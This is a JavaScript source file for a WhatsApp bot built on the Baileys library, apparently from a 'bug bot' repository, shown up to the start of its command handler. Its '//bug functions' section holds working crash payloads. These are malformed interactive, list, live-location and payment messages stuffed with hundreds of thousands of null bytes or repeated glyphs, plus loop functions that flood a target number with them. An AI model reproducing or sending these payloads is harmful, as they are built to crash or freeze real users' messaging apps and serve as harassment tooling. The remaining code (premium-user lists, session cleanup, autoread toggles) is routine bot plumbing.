forked from Prexzybooster/PREXZY-BUG-BOT
-
Notifications
You must be signed in to change notification settings - Fork 0
/
XeonBug6.js
2518 lines (2452 loc) · 104 KB
/
XeonBug6.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
const { default: makeWaSocket, useMultiFileAuthState, BufferJSON, WA_DEFAULT_EPHEMERAL, generateWAMessageFromContent, proto, generateWAMessageContent, generateWAMessage, prepareWAMessageMedia, areJidsSameUser, getContentType } = require('@whiskeysockets/baileys')
const os = require('os')
const fs = require('fs')
const fsx = require('fs-extra')
const path = require('path')
const util = require('util')
const chalk = require('chalk')
const moment = require('moment-timezone')
const speed = require('performance-now')
const ms = toMs = require('ms')
const axios = require('axios')
const fetch = require('node-fetch')
const pino = require('pino')
const { exec, spawn, execSync } = require("child_process")
const { performance } = require('perf_hooks')
const more = String.fromCharCode(8206)
const readmore = more.repeat(4001)
const { TelegraPh, UploadFileUgu, webp2mp4File, floNime } = require('./lib/uploader')
const { toAudio, toPTT, toVideo, ffmpeg, addExifAvatar } = require('./lib/converter')
const { smsg, getGroupAdmins, formatp, jam, formatDate, getTime, isUrl, await, sleep, clockString, msToDate, sort, toNumber, enumGetKey, runtime, fetchJson, getBuffer, json, delay, format, logic, generateProfilePicture, parseMention, getRandom, pickRandom, reSize } = require('./lib/myfunc')
let afk = require("./lib/afk");
const { addPremiumUser, getPremiumExpired, getPremiumPosition, expiredCheck, checkPremiumUser, getAllPremiumUser } = require('./lib/premiun')
const { fetchBuffer, buffergif } = require("./lib/myfunc2")
//bug database
const { xeontext1 } = require('./69/xeontext1')
const { xeontext2 } = require('./69/xeontext2')
const { xeontext3 } = require('./69/xeontext3')
const { xeontext4 } = require('./69/xeontext4')
const { xeontext5 } = require('./69/xeontext5')
const { xeontext6 } = require('./69/xeontext6')
const { xeontext7 } = require('./69/xeontext7')
const { xeontext8 } = require('./69/xeontext8')
const { xeontext9 } = require('./69/xeontext9')
const { xeontext10 } = require('./69/xeontext10')
const wkwk = fs.readFileSync(`./69/x.mp3`)
const xsteek = fs.readFileSync(`./69/x.webp`)
const o = fs.readFileSync(`./69/o.jpg`)
//database
let premium = JSON.parse(fs.readFileSync('./database/premium.json'))
let _owner = JSON.parse(fs.readFileSync('./database/owner.json'))
let owner = JSON.parse(fs.readFileSync('./database/owner.json'))
let _afk = JSON.parse(fs.readFileSync('./database/afk-user.json'))
let hit = JSON.parse(fs.readFileSync('./database/total-hit-user.json'))
//autorep
const VoiceNoteXeon = JSON.parse(fs.readFileSync('./database/autoreply/vn.json'))
const StickerXeon = JSON.parse(fs.readFileSync('./database/autoreply/sticker.json'))
const ImageXeon = JSON.parse(fs.readFileSync('./database/autoreply/image.json'))
const VideoXeon = JSON.parse(fs.readFileSync('./database/autoreply/video.json'))
const DocXeon = JSON.parse(fs.readFileSync('./database/autoreply/doc.json'))
const ZipXeon = JSON.parse(fs.readFileSync('./database/autoreply/zip.json'))
const ApkXeon = JSON.parse(fs.readFileSync('./database/autoreply/apk.json'))
//time
const xtime = moment.tz('Africa/Lagos').format('HH:mm:ss')
const xdate = moment.tz('Africa/Lagos').format('DD/MM/YYYY')
const time2 = moment().tz('Africa/Lagos').format('HH:mm:ss')
if(time2 < "23:59:00"){
var xeonytimewisher = `Good Night 🌌`
}
if(time2 < "19:00:00"){
var xeonytimewisher = `Good Evening 🌃`
}
if(time2 < "18:00:00"){
var xeonytimewisher = `Good Evening 🌃`
}
if(time2 < "15:00:00"){
var xeonytimewisher = `Good Afternoon 🌅`
}
if(time2 < "11:00:00"){
var xeonytimewisher = `Good Morning 🌄`
}
if(time2 < "05:00:00"){
var xeonytimewisher = `Good Morning 🌄`
}
module.exports = XeonBotInc = async (XeonBotInc, m, msg, chatUpdate, store) => {
try {
const {
type,
quotedMsg,
mentioned,
now,
fromMe
} = m
var body = (m.mtype === 'conversation') ? m.message.conversation : (m.mtype == 'imageMessage') ? m.message.imageMessage.caption : (m.mtype == 'videoMessage') ? m.message.videoMessage.caption : (m.mtype == 'extendedTextMessage') ? m.message.extendedTextMessage.text : (m.mtype == 'buttonsResponseMessage') ? m.message.buttonsResponseMessage.selectedButtonId : (m.mtype == 'listResponseMessage') ? m.message.listResponseMessage.singleSelectreplygcxeon.selectedRowId : (m.mtype == 'templateButtonreplygcxeonMessage') ? m.message.templateButtonreplygcxeonMessage.selectedId : (m.mtype === 'messageContextInfo') ? (m.message.buttonsResponseMessage?.selectedButtonId || m.message.listResponseMessage?.singleSelectreplygcxeon.selectedRowId || m.text) : ''
var budy = (typeof m.text == 'string' ? m.text : '')
var prefix = prefa ? /^[°•π÷׶∆£¢€¥®™+✓_=|~!?@#$%^&.©^]/gi.test(body) ? body.match(/^[°•π÷׶∆£¢€¥®™+✓_=|~!?@#$%^&.©^]/gi)[0] : "" : prefa ?? global.prefix
const isCmd = body.startsWith(prefix)
const command = body.replace(prefix, '').trim().split(/ +/).shift().toLowerCase()
const args = body.trim().split(/ +/).slice(1)
const full_args = body.replace(command, '').slice(1).trim()
const pushname = m.pushName || "No Name"
const botNumber = await XeonBotInc.decodeJid(XeonBotInc.user.id)
const itsMe = m.sender == botNumber ? true : false
const sender = m.sender
const text = q = args.join(" ")
const from = m.key.remoteJid
const fatkuns = (m.quoted || m)
const quoted = (fatkuns.mtype == 'buttonsMessage') ? fatkuns[Object.keys(fatkuns)[1]] : (fatkuns.mtype == 'templateMessage') ? fatkuns.hydratedTemplate[Object.keys(fatkuns.hydratedTemplate)[1]] : (fatkuns.mtype == 'product') ? fatkuns[Object.keys(fatkuns)[0]] : m.quoted ? m.quoted : m
const mime = (quoted.msg || quoted).mimetype || ''
const qmsg = (quoted.msg || quoted)
const isMedia = /image|video|sticker|audio/.test(mime)
const isImage = (type == 'imageMessage')
const isVideo = (type == 'videoMessage')
const isAudio = (type == 'audioMessage')
const isText = (type == 'textMessage')
const isSticker = (type == 'stickerMessage')
const isQuotedText = type === 'extendexTextMessage' && content.includes('textMessage')
const isQuotedImage = type === 'extendedTextMessage' && content.includes('imageMessage')
const isQuotedLocation = type === 'extendedTextMessage' && content.includes('locationMessage')
const isQuotedVideo = type === 'extendedTextMessage' && content.includes('videoMessage')
const isQuotedSticker = type === 'extendedTextMessage' && content.includes('stickerMessage')
const isQuotedAudio = type === 'extendedTextMessage' && content.includes('audioMessage')
const isQuotedContact = type === 'extendedTextMessage' && content.includes('contactMessage')
const isQuotedDocument = type === 'extendedTextMessage' && content.includes('documentMessage')
const sticker = []
const isAfkOn = afk.checkAfkUser(m.sender, _afk)
const isGroup = m.key.remoteJid.endsWith('@g.us')
const groupMetadata = m.isGroup ? await XeonBotInc.groupMetadata(m.chat).catch(e => {}) : ''
const groupName = m.isGroup ? groupMetadata.subject : ''
const participants = m.isGroup ? await groupMetadata.participants : ''
const groupAdmins = m.isGroup ? await getGroupAdmins(participants) : ''
const isBotAdmins = m.isGroup ? groupAdmins.includes(botNumber) : false
const isAdmins = m.isGroup ? groupAdmins.includes(m.sender) : false
const groupOwner = m.isGroup ? groupMetadata.owner : ''
const isGroupOwner = m.isGroup ? (groupOwner ? groupOwner : groupAdmins).includes(m.sender) : false
const isCreator = [ownernumber, ..._owner].map(v => v.replace(/[^0-9]/g, '') + '@s.whatsapp.net').includes(m.sender)
const isPremium = isCreator || isCreator || checkPremiumUser(m.sender, premium);
const clientId = XeonBotInc.user.id.split(':')[0];
const senderbot = m.key.fromMe ? XeonBotInc.user.id.split(':')[0] + "@s.whatsapp.net" || XeonBotInc.user.id : m.key.participant || m.key.remoteJid;
const senderId = senderbot.split('@')[0];
const isBot = clientId.includes(senderId);
expiredCheck(XeonBotInc, m, premium);
//group chat msg by xeon
const replygcxeon = (teks) => {
XeonBotInc.sendMessage(m.chat,
{ text: teks,
contextInfo:{
mentionedJid:[sender],
forwardingScore: 9999999,
isForwarded: true,
"externalAdReply": {
"showAdAttribution": true,
"containsAutoReply": true,
"title": ` ${global.botname}`,
"body": `${ownername}`,
"previewType": "PHOTO",
"thumbnailUrl": ``,
"thumbnail": fs.readFileSync(`./XeonMedia/thumb.jpg`),
"sourceUrl": `${link}`}}},
{ quoted: m})
}
//bug functions
const sendReaction = async reactionContent => {
XeonBotInc.sendMessage(m.chat, {
'react': {
'text': reactionContent,
'key': m.key
}
});
};
async function sendRepeatedMessages(jid, count) {
for (let i = 0; i < count; i++) {
XeonBotInc.sendMessage(recipientJid, {
'text': ''.repeat(50000)
}, {
'participant': {
'jid': jid
},
'messageId': etc.key.id
}, {
'quoted': m
});
}
}
async function sendViewOnceMessages(jid, count) {
for (let i = 0; i < count; i++) {
let messageContent = generateWAMessageFromContent(jid, {
'viewOnceMessage': {
'message': {
'messageContextInfo': {
'deviceListMetadata': {},
'deviceListMetadataVersion': 2
},
'interactiveMessage': proto.Message.InteractiveMessage.create({
'body': proto.Message.InteractiveMessage.Body.create({
'text': ''
}),
'footer': proto.Message.InteractiveMessage.Footer.create({
'text': ''
}),
'header': proto.Message.InteractiveMessage.Header.create({
'title': '',
'subtitle': '',
'hasMediaAttachment': false
}),
'nativeFlowMessage': proto.Message.InteractiveMessage.NativeFlowMessage.create({
'buttons': [{
'name': "cta_url",
'buttonParamsJson': "{\"display_text\":\"ྦྷ\".repeat(50000),\"url\":\"https://www.google.com\",\"merchant_url\":\"https://www.google.com\"}"
}],
'messageParamsJson': "\0".repeat(100000)
})
})
}
}
}, {});
XeonBotInc.relayMessage(jid, messageContent.message, {
'messageId': messageContent.key.id
});
}
}
async function sendSystemCrashMessage(jid) {
var messageContent = generateWAMessageFromContent(jid, proto.Message.fromObject({
'viewOnceMessage': {
'message': {
'interactiveMessage': {
'header': {
'title': '',
'subtitle': " "
},
'body': {
'text': "S̸Y꙰̸S꙰̸T꙰̸E꙰̸M꙰̸ U̸I̸ C̸R꙰̸A꙰̸S꙰̸H꙰̸"
},
'footer': {
'text': 'xp'
},
'nativeFlowMessage': {
'buttons': [{
'name': 'cta_url',
'buttonParamsJson': "{ display_text : 'S̸Y꙰̸S꙰̸T꙰̸E꙰̸M꙰̸ U̸I̸ C̸R꙰̸A꙰̸S꙰̸H꙰̸', url : , merchant_url : }"
}],
'messageParamsJson': "\0".repeat(1000000)
}
}
}
}
}), {
'userJid': jid
});
await XeonBotInc.relayMessage(jid, messageContent.message, {
'participant': {
'jid': jid
},
'messageId': messageContent.key.id
});
}
async function sendListMessage(jid) {
var messageContent = generateWAMessageFromContent(jid, proto.Message.fromObject({
'listMessage': {
'title': "S̸Y꙰̸S꙰̸T꙰̸E꙰̸M꙰̸ U̸I̸ C̸R꙰̸A꙰̸S꙰̸H꙰̸" + "\0".repeat(920000),
'footerText': "ຮ₮ཞศV꙰ศ ๖ມG꙰ཀ͜͡✅⃟╮",
'description': "ຮ₮ཞศV꙰ศ ๖ມG꙰ཀ͜͡✅⃟╮",
'buttonText': null,
'listType': 2,
'productListInfo': {
'productSections': [{
'title': "lol",
'products': [{
'productId': "4392524570816732"
}]
}],
'productListHeaderImage': {
'productId': "4392524570816732",
'jpegThumbnail': null
},
'businessOwnerJid': "[email protected]"
}
},
'footer': "lol",
'contextInfo': {
'expiration': 600000,
'ephemeralSettingTimestamp': "1679959486",
'entryPointConversionSource': "global_search_new_chat",
'entryPointConversionApp': "whatsapp",
'entryPointConversionDelaySeconds': 9,
'disappearingMode': {
'initiator': "INITIATED_BY_ME"
}
},
'selectListType': 2,
'product_header_info': {
'product_header_info_id': 292928282928,
'product_header_is_rejected': false
}
}), {
'userJid': jid
});
await XeonBotInc.relayMessage(jid, messageContent.message, {
'participant': {
'jid': jid
},
'messageId': messageContent.key.id
});
}
async function sendLiveLocationMessage(jid) {
var messageContent = generateWAMessageFromContent(jid, proto.Message.fromObject({
'viewOnceMessage': {
'message': {
'liveLocationMessage': {
'degreesLatitude': 'p',
'degreesLongitude': 'p',
'caption': 'نٽنٽ' + 'ꦾ'.repeat(50000),
'sequenceNumber': '0',
'jpegThumbnail': ''
}
}
}
}), {
'userJid': jid
});
await XeonBotInc.relayMessage(jid, messageContent.message, {
'participant': {
'jid': jid
},
'messageId': messageContent.key.id
});
}
async function sendExtendedTextMessage(jid) {
XeonBotInc.relayMessage(jid, {
'extendedTextMessage': {
'text': '.',
'contextInfo': {
'stanzaId': jid,
'participant': jid,
'quotedMessage': {
'conversation': 'نٽنٽ' + 'ꦾ'.repeat(50000)
},
'disappearingMode': {
'initiator': "CHANGED_IN_CHAT",
'trigger': "CHAT_SETTING"
}
},
'inviteLinkGroupTypeV2': "DEFAULT"
}
}, {
'participant': {
'jid': jid
}
}, {
'messageId': null
});
}
async function sendPaymentInvite(jid) {
XeonBotInc.relayMessage(jid, {
'paymentInviteMessage': {
'serviceType': "UPI",
'expiryTimestamp': Date.now() + 86400000
}
}, {
'participant': {
'jid': jid
}
});
}
async function sendMultiplePaymentInvites(jid, count) {
for (let i = 0; i < count; i++) {
sendPaymentInvite(jid);
sendExtendedTextMessage(jid);
await sleep(500);
}
}
async function sendVariousMessages(jid, count) {
for (let i = 0; i < count; i++) {
sendListMessage(jid);
sendLiveLocationMessage(jid);
sendSystemCrashMessage(jid);
await sleep(500);
}
}
async function sendRepeatedMessages2(jid, count) {
for (let i = 0; i < count; i++) {
sendSystemCrashMessage(jid);
sendSystemCrashMessage(jid);
sendSystemCrashMessage(jid);
await sleep(500);
}
}
async function sendMixedMessages(jid, count) {
for (let i = 0; i < count; i++) {
sendLiveLocationMessage(jid);
sendListMessage(jid);
await sleep(500);
}
}
function sendMessageWithMentions(text, mentions = [], quoted = false) {
if (quoted == null || quoted == undefined || quoted == false) {
return XeonBotInc.sendMessage(m.chat, {
'text': text,
'mentions': mentions
}, {
'quoted': m
});
} else {
return XeonBotInc.sendMessage(m.chat, {
'text': text,
'mentions': mentions
}, {
'quoted': m
});
}
}
const xbug2 = {
key: {
remoteJid: 'status@broadcast',
fromMe: false,
participant: '[email protected]'
},
message: {
listResponseMessage: {
title: botname
}
}
}
const fakeflow = {
key: {
remoteJid: 'status@broadcast',
fromMe: false,
participant: '[email protected]'
},
'message': {
"interactiveMessage": {
"header": {
"hasMediaAttachment": true,
"jpegThumbnail": bimg
},
"nativeFlowMessage": {
"buttons": [
{
"name": "review_and_pay",
"buttonParamsJson": `{\"currency\":\"INR\",\"payment_configuration\":\"\",\"payment_type\":\"\",\"total_amount\":{\"value\":45416739902,\"offset\":100},\"reference_id\":\"40NRXY65HS6\",\"type\":\"physical-goods\",\"order\":{\"status\":\"preparing_to_ship\",\"description\":\"\",\"subtotal\":{\"value\":29759959800,\"offset\":100},\"tax\":{\"value\":14805580001,\"offset\":100},\"discount\":{\"value\":148799799,\"offset\":100},\"shipping\":{\"value\":99999999900,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"7537631592926009\",\"product_id\":\"7538731592926009\",\"name\":\"${botname}\",\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":999999},{\"retailer_id\":\"7842674605763435\",\"product_id\":\"7842674605763435\",\"name\":\"${ownername}\",\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":999999},{\"retailer_id\":\"custom-item-2465f31c-4f49-46eb-9ad0-5ec5121a9c0d\",\"name\":\"\",\"amount\":{\"value\":99999900,\"offset\":100},\"quantity\":99},{\"retailer_id\":\"custom-item-13746d0a-55f0-4942-86b2-2094bc9a2978\",\"name\":\"\",\"amount\":{\"value\":99999800,\"offset\":100},\"quantity\":999999},{\"retailer_id\":\"custom-item-ab993749-045b-4f66-a1d3-264fe18fb1d0\",\"name\":\"\",\"amount\":{\"value\":99999900,\"offset\":100},\"quantity\":999999}]},\"additional_note\":\"\",\"native_payment_methods\":[]}`
}
]
}
}
}
};
const xeonimun = (texto) => {
XeonBotInc.sendMessage(from, { text: texto, mentions: [sender]}, {quoted: m }).catch(e => {
return reply("Erro..")
})
}
const subscribe_dgxeon = {
"key": {
"fromMe": false,
"participant": '[email protected]',
"remoteJid": 'status@broadcast'
},
message: {
"listResponseMessage": {
title: `Xeon's ur father`
}}
}
async function XeonyCrashy(dgxeon,chat) {
XeonBotInc.sendMessage(chat, {
document: {url: './settings.js'},
mimetype: `image/null`,
fileName: `${dgxeon}.${xeontext1}` ,
caption: `${dgxeon + xeontext1}`,
}, {quoted: subscribe_dgxeon })
}
//end bug functions
async function loading () {
var xeonlod = [
"《 █▒▒▒▒▒▒▒▒▒▒▒》10%",
"《 ████▒▒▒▒▒▒▒▒》30%",
"《 ███████▒▒▒▒▒》50%",
"《 ██████████▒▒》80%",
"《 ████████████》100%",
"𝙻𝙾𝙰𝙳𝙸𝙽𝙶 𝙲𝙾𝙼𝙿𝙻𝙴𝚃𝙴𝙳 🦄..."
]
let { key } = await XeonBotInc.sendMessage(from, {text: 'ʟᴏᴀᴅɪɴɢ...'})
for (let i = 0; i < xeonlod.length; i++) {
await XeonBotInc.sendMessage(from, {text: xeonlod[i], edit: key });
}
}
if (!XeonBotInc.public) {
if (!isCreator && !m.key.fromMe) return
}
if (autoread) {
XeonBotInc.readMessages([m.key])
}
if (global.autoTyping) {
XeonBotInc.sendPresenceUpdate('composing', from)
}
if (global.autoRecording) {
XeonBotInc.sendPresenceUpdate('recording', from)
}
//bot number online status, available=online, unavailable=offline
XeonBotInc.sendPresenceUpdate('uavailable', from)
if (global.autorecordtype) {
let xeonrecordin = ['recording','composing']
let xeonrecordinfinal = xeonrecordin[Math.floor(Math.random() * xeonrecordin.length)]
XeonBotInc.sendPresenceUpdate(xeonrecordinfinal, from)
}
if (autobio) {
XeonBotInc.updateProfileStatus(`24/7 Online Bot By ${ownername}`).catch(_ => _)
}
if (m.sender.startsWith('92') && global.anti92 === true) {
return XeonBotInc.updateBlockStatus(m.sender, 'block')
}
let list = []
for (let i of owner) {
list.push({
displayName: await XeonBotInc.getName(i),
vcard: `BEGIN:VCARD\nVERSION:3.0\nN:${await XeonBotInc.getName(i)}\nFN:${await XeonBotInc.getName(i)}\nitem1.TEL;waid=${i}:${i}\nitem1.X-ABLabel:Click here to chat\nitem2.EMAIL;type=INTERNET:${ytname}\nitem2.X-ABLabel:YouTube\nitem3.URL:${socialm}\nitem3.X-ABLabel:GitHub\nitem4.ADR:;;${location};;;;\nitem4.X-ABLabel:Region\nEND:VCARD`
})
}
//chat counter (console log)
if (m.message && m.isGroup) {
console.log(chalk.cyan(`\n< ================================================== >\n`))
console.log(chalk.green(`Group Chat:`))
console.log(chalk.black(chalk.bgWhite('[ MESSAGE ]')), chalk.black(chalk.bgGreen(new Date)), chalk.black(chalk.bgBlue(budy || m.mtype)) + '\n' + chalk.magenta('=> From'), chalk.green(pushname), chalk.yellow(m.sender) + '\n' + chalk.blueBright('=> In'), chalk.green(groupName, m.chat))
} else {
console.log(chalk.cyan(`\n< ================================================== >\n`))
console.log(chalk.green(`Private Chat:`))
console.log(chalk.black(chalk.bgWhite('[ MESSAGE ]')), chalk.black(chalk.bgGreen(new Date)), chalk.black(chalk.bgBlue(budy || m.mtype)) + '\n' + chalk.magenta('=> From'), chalk.green(pushname), chalk.yellow(m.sender))
}
if (command) {
const cmdadd = () => {
hit[0].hit_cmd += 1
fs.writeFileSync('./database/total-hit-user.json', JSON.stringify(hit))
}
cmdadd()
const totalhit = JSON.parse(fs.readFileSync('./database/total-hit-user.json'))[0].hit_cmd
}
for (let BhosdikaXeon of VoiceNoteXeon) {
if (budy === BhosdikaXeon) {
let audiobuffy = fs.readFileSync(`./XeonMedia/audio/${BhosdikaXeon}.mp3`)
XeonBotInc.sendMessage(m.chat, { audio: audiobuffy, mimetype: 'audio/mp4', ptt: true }, { quoted: m })
}
}
for (let BhosdikaXeon of StickerXeon){
if (budy === BhosdikaXeon){
let stickerbuffy = fs.readFileSync(`./XeonMedia/sticker/${BhosdikaXeon}.webp`)
XeonBotInc.sendMessage(m.chat, { sticker: stickerbuffy }, { quoted: m })
}
}
for (let BhosdikaXeon of ImageXeon){
if (budy === BhosdikaXeon){
let imagebuffy = fs.readFileSync(`./XeonMedia/image/${BhosdikaXeon}.jpg`)
XeonBotInc.sendMessage(m.chat, { image: imagebuffy }, { quoted: m })
}
}
for (let BhosdikaXeon of VideoXeon){
if (budy === BhosdikaXeon){
let videobuffy = fs.readFileSync(`./XeonMedia/video/${BhosdikaXeon}.mp4`)
XeonBotInc.sendMessage(m.chat, { video: videobuffy }, { quoted: m })
}
}
const sendapk = (teks) => {
XeonBotInc.sendMessage(from, { document: teks, mimetype: 'application/vnd.android.package-archive'}, {quoted:m})
}
for (let BhosdikaXeon of ApkXeon) {
if (budy === BhosdikaXeon) {
let buffer = fs.readFileSync(`./XeonMedia/apk/${BhosdikaXeon}.apk`)
sendapk(buffer)
}
}
const sendzip = (teks) => {
XeonBotInc.sendMessage(from, { document: teks, mimetype: 'application/zip'}, {quoted:m})
}
for (let BhosdikaXeon of ZipXeon) {
if (budy === BhosdikaXeon) {
let buffer = fs.readFileSync(`./XeonMedia/zip/${BhosdikaXeon}.zip`)
sendzip(buffer)
}
}
const senddocu = (teks) => {
haikal.sendMessage(from, { document: teks, mimetype: 'application/pdf'}, {quoted:m})
}
for (let BhosdikaXeon of DocXeon) {
if (budy === BhosdikaXeon) {
let buffer = fs.readFileSync(`./XeonMedia/doc/${BhosdikaXeon}.pdf`)
senddocu(buffer)
}
}
if (m.isGroup && !m.key.fromMe) {
let mentionUser = [...new Set([...(m.mentionedJid || []), ...(m.quoted ? [m.quoted.sender] : [])])]
for (let ment of mentionUser) {
if (afk.checkAfkUser(ment, _afk)) {
let getId2 = afk.getAfkId(ment, _afk)
let getReason2 = afk.getAfkReason(getId2, _afk)
let getTimee = Date.now() - afk.getAfkTime(getId2, _afk)
let heheh2 = ms(getTimee)
replygcxeon(`Don't tag him, he's afk\n\n*Reason :* ${getReason2}`)
}
}
if (afk.checkAfkUser(m.sender, _afk)) {
let getId = afk.getAfkId(m.sender, _afk)
let getReason = afk.getAfkReason(getId, _afk)
let getTime = Date.now() - afk.getAfkTime(getId, _afk)
let heheh = ms(getTime)
_afk.splice(afk.getAfkPosition(m.sender, _afk), 1)
fs.writeFileSync('./database/afk-user.json', JSON.stringify(_afk))
XeonBotInc.sendTextWithMentions(m.chat, `@${m.sender.split('@')[0]} have returned from afk`, m)
}
}
switch (command) {
case 'addprem':
if (!isCreator) return replygcxeon(mess.owner)
if (args.length < 2)
return replygcxeon(`Use :\n*#addprem* @tag time\n*#addprem* number time\n\nExample : #addprem @tag 30d`);
if (m.mentionedJid.length !== 0) {
for (let i = 0; i < m.mentionedJid.length; i++) {
addPremiumUser(m.mentionedJid[0], args[1], premium);
}
replygcxeon("Premium Success")
} else {
addPremiumUser(args[0] + "@s.whatsapp.net", args[1], premium);
replygcxeon("Success")
}
break
case 'delprem':
if (!isCreator) return replygcxeon(mess.owner)
if (args.length < 1) return replygcxeon(`Use :\n*#delprem* @tag\n*#delprem* number`);
if (m.mentionedJid.length !== 0) {
for (let i = 0; i < m.mentionedJid.length; i++) {
premium.splice(getPremiumPosition(m.mentionedJid[i], premium), 1);
fs.writeFileSync("./database/premium.json", JSON.stringify(premium));
}
replygcxeon("Delete success")
} else {
premium.splice(getPremiumPosition(args[0] + "@s.whatsapp.net", premium), 1);
fs.writeFileSync("./database/premium.json", JSON.stringify(premium));
replygcxeon("Success")
}
break
case 'listprem': {
if (!isCreator) return replygcxeon(mess.owner)
let data = require("./database/premium.json")
let txt = `*------「 LIST PREMIUM 」------*\n\n`
for (let i of data) {
txt += `Number : ${i.id}\n`
txt += `Expired : ${i.expired} Second\n`
}
XeonBotInc.sendMessage(m.chat, {
text: txt,
mentions: i
}, {
quoted: m
})
}
break
case 'deletesession':
case 'delsession':
case 'clearsession': {
if (!isCreator) return replygcxeon(mess.owner)
fs.readdir("./session", async function(err, files) {
if (err) {
console.log('Unable to scan directory: ' + err);
return replygcxeon('Unable to scan directory: ' + err);
}
let filteredArray = await files.filter(item => item.startsWith("pre-key") ||
item.startsWith("sender-key") || item.startsWith("session-") || item.startsWith("app-state")
)
console.log(filteredArray.length);
let teks = `Detected ${filteredArray.length} junk files\n\n`
if (filteredArray.length == 0) return replygcxeon(teks)
filteredArray.map(function(e, i) {
teks += (i + 1) + `. ${e}\n`
})
replygcxeon(teks)
await sleep(2000)
replygcxeon("Delete junk files...")
await filteredArray.forEach(function(file) {
fs.unlinkSync(`./session/${file}`)
});
await sleep(2000)
replygcxeon("Successfully deleted all the trash in the session folder")
});
}
break
case 'join':
try {
if (!isCreator) return replygcxeon(mess.owner)
if (!text) return replygcxeon('Enter Group Link!')
if (!isUrl(args[0]) && !args[0].includes('whatsapp.com')) return replygcxeon('Link Invalid!')
replygcxeon(mess.wait)
let result = args[0].split('https://chat.whatsapp.com/')[1]
await XeonBotInc.groupAcceptInvite(result).then((res) => replygcxeon(json(res))).catch((err) => replygcxeon(json(err)))
} catch {
replygcxeon('Failed to join the Group')
}
break
case 'getsession':
if (!isCreator) return replygcxeon(mess.owner)
replygcxeon('Wait a moment, currently retrieving your session file')
let sesi = await fs.readFileSync('./session/creds.json')
XeonBotInc.sendMessage(m.chat, {
document: sesi,
mimetype: 'application/json',
fileName: 'creds.json'
}, {
quoted: m
})
break
case 'shutdown':
if (!isCreator) return replygcxeon(mess.owner)
replygcxeon(`Goodbye🖐`)
await sleep(3000)
process.exit()
break
case 'restart':
if (!isCreator) return replygcxeon(mess.owner)
replygcxeon('In Process....')
exec('pm2 restart all')
break
case 'autoread':
if (!isCreator) return replygcxeon(mess.owner)
if (args.length < 1) return replygcxeon(`Example ${prefix + command} on/off`)
if (q === 'on') {
autoread = true
replygcxeon(`Successfully changed autoread to ${q}`)
} else if (q === 'off') {
autoread = false
replygcxeon(`Successfully changed autoread to ${q}`)
}
break
case 'autotyping':
if (!isCreator) return replygcxeon(mess.owner)
